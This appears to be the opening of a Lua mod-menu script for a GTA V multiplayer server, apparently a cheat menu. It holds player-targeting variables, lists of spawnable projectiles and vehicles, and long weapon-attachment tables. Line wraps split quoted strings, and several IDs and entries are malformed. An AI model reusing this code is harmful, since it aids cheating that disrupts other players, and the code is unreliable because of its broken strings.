Message
Message
redMENU.debug = false
local currentMenuX = 1
local selectedMenuX = 1
local currentMenuY = 1
local selectedMenuY = 1
local menuX = { 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.75 }
local menuY = { 0.025, 0.1, 0.2, 0.3, 0.425 }
local SelectedPlayer
local bullets = { "WEAPON_FLAREGUN", "WEAPON_FIREWORK", "WEAPON_RPG",
"WEAPON_PIPEBOMB", "WEAPON_RAILGUN", "WEAPON_SMOKEGRENADE",
"VEHICLE_WEAPON_PLAYER_LASER", "VEHICLE_WEAPON_TANK" }
local peds = { "a_c_boar", "a_c_killerwhale", "a_c_sharktiger",
"csb_stripper_01" }
local vehicles = { "Freight", "Rhino", "Futo", "Vigilante", "Monster", "Panto",
"Bus", "Dump", "CargoPlane" }
local vehicleSpeed = { 1.0, 10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0,
90.0, 100.0, 110.0, 120.0, 130.0, 140.0, 150.0 }
local b0 = false
local b1 = false
local b2 = false
local b3 = false
local b4 = nil
local b5 = {}
local b6 = {}
local b7 = nil
local b8 = false
local b9 = -1
local ba = -1
local bb = -1
local bc = false
local currentVehicle = 1
local selectedVehicle = 1
local currentVehicleSpeed = 16
local selectedVehicleSpeed = 16
local currentBone = 1
local selectedBone = 1
local currentDamage = 1
local selectedDamage = 1
local currentPed = 1
local selectedPed = 1
local currentBullet = 1
local selectedBullet = 1
local menus = { }
local keys = { up = 300, down = 299, left = 308, right = 307, select = 215,
back = 194 }
local optionCount = 0
local allWeapons =
{"WEAPON_KNIFE","WEAPON_KNUCKLE","WEAPON_NIGHTSTICK","WEAPON_HAMMER","WEAPON_BAT","
WEAPON_GOLFCLUB","WEAPON_CROWBAR","WEAPON_BOTTLE","WEAPON_DAGGER","WEAPON_HATCHET",
"WEAPON_MACHETE","WEAPON_FLASHLIGHT","WEAPON_SWITCHBLADE","WEAPON_PISTOL","WEAPON_P
ISTOL_MK2","WEAPON_COMBATPISTOL","WEAPON_APPISTOL","WEAPON_PISTOL50","WEAPON_SNSPIS
TOL","WEAPON_HEAVYPISTOL","WEAPON_VINTAGEPISTOL","WEAPON_STUNGUN","WEAPON_FLAREGUN"
,"WEAPON_MARKSMANPISTOL","WEAPON_REVOLVER","WEAPON_MICROSMG","WEAPON_SMG","WEAPON_S
MG_MK2","WEAPON_ASSAULTSMG","WEAPON_MG","WEAPON_COMBATMG","WEAPON_COMBATMG_MK2","WE
APON_COMBATPDW","WEAPON_GUSENBERG","WEAPON_MACHINEPISTOL","WEAPON_ASSAULTRIFLE","WE
APON_ASSAULTRIFLE_MK2","WEAPON_CARBINERIFLE","WEAPON_CARBINERIFLE_MK2","WEAPON_ADVA
NCEDRIFLE","WEAPON_SPECIALCARBINE","WEAPON_BULLPUPRIFLE","WEAPON_COMPACTRIFLE","WEA
PON_PUMPSHOTGUN","WEAPON_SAWNOFFSHOTGUN","WEAPON_BULLPUPSHOTGUN","WEAPON_ASSAULTSHO
TGUN","WEAPON_MUSKET","WEAPON_HEAVYSHOTGUN","WEAPON_DBSHOTGUN","WEAPON_SNIPERRIFLE"
,"WEAPON_HEAVYSNIPER","WEAPON_HEAVYSNIPER_MK2","WEAPON_MARKSMANRIFLE","WEAPON_GRENA
DELAUNCHER","WEAPON_GRENADELAUNCHER_SMOKE","WEAPON_RPG","WEAPON_STINGER","WEAPON_FI
REWORK","WEAPON_HOMINGLAUNCHER","WEAPON_GRENADE","WEAPON_STICKYBOMB","WEAPON_PROXMI
NE","WEAPON_BZGAS","WEAPON_SMOKEGRENADE","WEAPON_MOLOTOV","WEAPON_FIREEXTINGUISHER"
,"WEAPON_PETROLCAN","WEAPON_SNOWBALL","WEAPON_FLARE","WEAPON_BALL"}
local b7 = {
Melee = {
BaseballBat = {
id = "weapon_bat", name = "Baseball Bat", bInfAmmo = false, mods =
{}
}, BrokenBottle = {
id = "weapon_bottle", name = "Broken Bottle", bInfAmmo = false,
mods = {}
}, Crowbar = {
id = "weapon_Crowbar", name = "Crowbar", bInfAmmo = false, mods =
{}
}, Flashlight = {
id = "weapon_flashlight", name = "Flashlight", bInfAmmo = false,
mods = {}
}, GolfClub = {
id = "weapon_golfclub", name = "Golf Club", bInfAmmo = false, mods
= {}
}, BrassKnuckles = {
id = "weapon_knuckle", name = "Brass Knuckles", bInfAmmo = false,
mods = {}
}, Knife = {
id = "weapon_knife", name = "Knife", bInfAmmo = false, mods = {}
}, Machete = {
id = "weapon_machete", name = "Machete", bInfAmmo = false, mods =
{}
}, Switchblade = {
id = "weapon_switchblade", name = "Switchblade", bInfAmmo = false,
mods = {}
}, Nightstick = {
id = "weapon_nightstick", name = "Nightstick", bInfAmmo = false,
mods = {}
}, BattleAxe = {
id = "weapon_battleaxe", name = "Battle Axe", bInfAmmo = false,
mods = {}
}
}, Handguns = {
Pistol = {
id = "weapon_pistol", name = "Pistol", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, PistolMK2 = {
id = "weapon_pistol_mk2", name = "Pistol MK 2", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_02"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP"
}, {
name = "Suppessor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, CombatPistol = {
id = "weapon_combatpistol", name = "Combat Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, APPistol = {
id = "weapon_appistol", name = "AP Pistol", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_APPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_APPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, StunGun = {
id = "weapon_stungun", name = "Stun Gun", bInfAmmo = false, mods =
{}
}, Pistol50 = {
id = "weapon_pistol50", name = "Pistol .50", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL50_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL50_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, SNSPistol = {
id = "weapon_snspistol", name = "SNS Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_02"
}
}
}
}, SNSPistolMkII = {
id = "weapon_snspistol_mk2", name = "SNS Pistol Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_03"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_02"
}, {
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, HeavyPistol = {
id = "weapon_heavypistol", name = "Heavy Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, VintagePistol = {
id = "weapon_vintagepistol", name = "Vintage Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_02"
}
}, BarrelAttachments = {
{
"Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, FlareGun = {
id = "weapon_flaregun", name = "Flare Gun", bInfAmmo = false, mods
= {}
}, MarksmanPistol = {
id = "weapon_marksmanpistol", name = "Marksman Pistol", bInfAmmo =
false, mods = {}
}, HeavyRevolver = {
id = "weapon_revolver", name = "Heavy Revolver", bInfAmmo = false,
mods = {}
}, HeavyRevolverMkII = {
id = "weapon_revolver_mk2", name = "Heavy Revolver Mk II", bInfAmmo
= false, mods = {
Magazines = {
{
name = "Default Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_01"
}, {
name = "Tracer Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_03"
}
}
}
}, DoubleActionRevolver = {
id = "weapon_doubleaction", name = "Double Action Revolver",
bInfAmmo = false, mods = {}
}, UpnAtomizer = {
id = "weapon_raypistol", name = "Up-n-Atomizer", bInfAmmo = false,
mods = {}
}
}, SMG = {
MicroSMG = {
id = "weapon_microsmg", name = "Micro SMG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MICROSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MICROSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, SMG = {
id = "weapon_smg", name = "SMG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_SMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_CLIP_02"
}, {
name = "Drum Magazine", id = "COMPONENT_SMG_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, SMGMkII = {
id = "weapon_smg_mk2", name = "SMG Mk II", bInfAmmo = false, mods =
{
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id = "COMPONENT_SMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id =
"COMPONENT_AT_SIGHTS_SMG"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_SMG_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SB_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SB_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}
}
}, AssaultSMG = {
id = "weapon_assaultsmg", name = "Assault SMG", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, CombatPDW = {
id = "weapon_combatpdw", name = "Combat PDW", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPDW_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPDW_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMBATPDW_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MachinePistol = {
id = "weapon_machinepistol", name = "Machine Pistol ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_03"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, MiniSMG = {
id = "weapon_minismg", name = "Mini SMG", bInfAmmo = false, mods =
{
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MINISMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MINISMG_CLIP_02"
}
}
}
}, UnholyHellbringer = {
id = "weapon_raycarbine", name = "Unholy Hellbringer", bInfAmmo =
false, mods = {}
}
}, Shotguns = {
PumpShotgun = {
id = "weapon_pumpshotgun", name = "Pump Shotgun", bInfAmmo = false,
mods = {
Flashlight = {
{
"name = Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP"
}
}
}
}, PumpShotgunMkII = {
id = "weapon_pumpshotgun_mk2", name = "Pump Shotgun Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_01"
}, {
name = "Dragon Breath Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY"
}, {
name = "Steel Buckshot Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING"
}, {
name = "Flechette Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT"
}, {
name = "Explosive Slugs", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}
}
}
}, SawedOffShotgun = {
id = "weapon_sawnoffshotgun", name = "Sawed-Off Shotgun", bInfAmmo
= false, mods = {}
}, AssaultShotgun = {
id = "weapon_assaultshotgun", name = "Assault Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupShotgun = {
id = "weapon_bullpupshotgun", name = "Bullpup Shotgun", bInfAmmo =
false, mods = {
Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, Musket = {
id = "weapon_musket", name = "Musket", bInfAmmo = false, mods = {}
}, HeavyShotgun = {
id = "weapon_heavyshotgun", name = "Heavy Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, DoubleBarrelShotgun = {
id = "weapon_dbshotgun", name = "Double Barrel Shotgun", bInfAmmo =
false, mods = {}
}, SweeperShotgun = {
id = "weapon_autoshotgun", name = "Sweeper Shotgun", bInfAmmo =
false, mods = {}
}
}, AssaultRifles = {
AssaultRifle = {
id = "weapon_assaultrifle", name = "Assault Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, AssaultRifleMkII = {
id = "weapon_assaultrifle_mk2", name = "Assault Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_AR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_AR_BARREL_0"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, CarbineRifle = {
id = "weapon_carbinerifle", name = "Carbine Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_02"
}, {
name = "Box Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CarbineRifleMkII = {
id = "weapon_carbinerifle_mk2", name = "Carbine Rifle Mk II ",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_CR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_CR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, AdvancedRifle = {
id = "weapon_advancedrifle", name = "Advanced Rifle ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}
}
}, SpecialCarbine = {
id = "weapon_specialcarbine", name = "Special Carbine", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, SpecialCarbineMkII = {
id = "weapon_specialcarbine_mk2", name = "Special Carbine Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SC_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SC_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
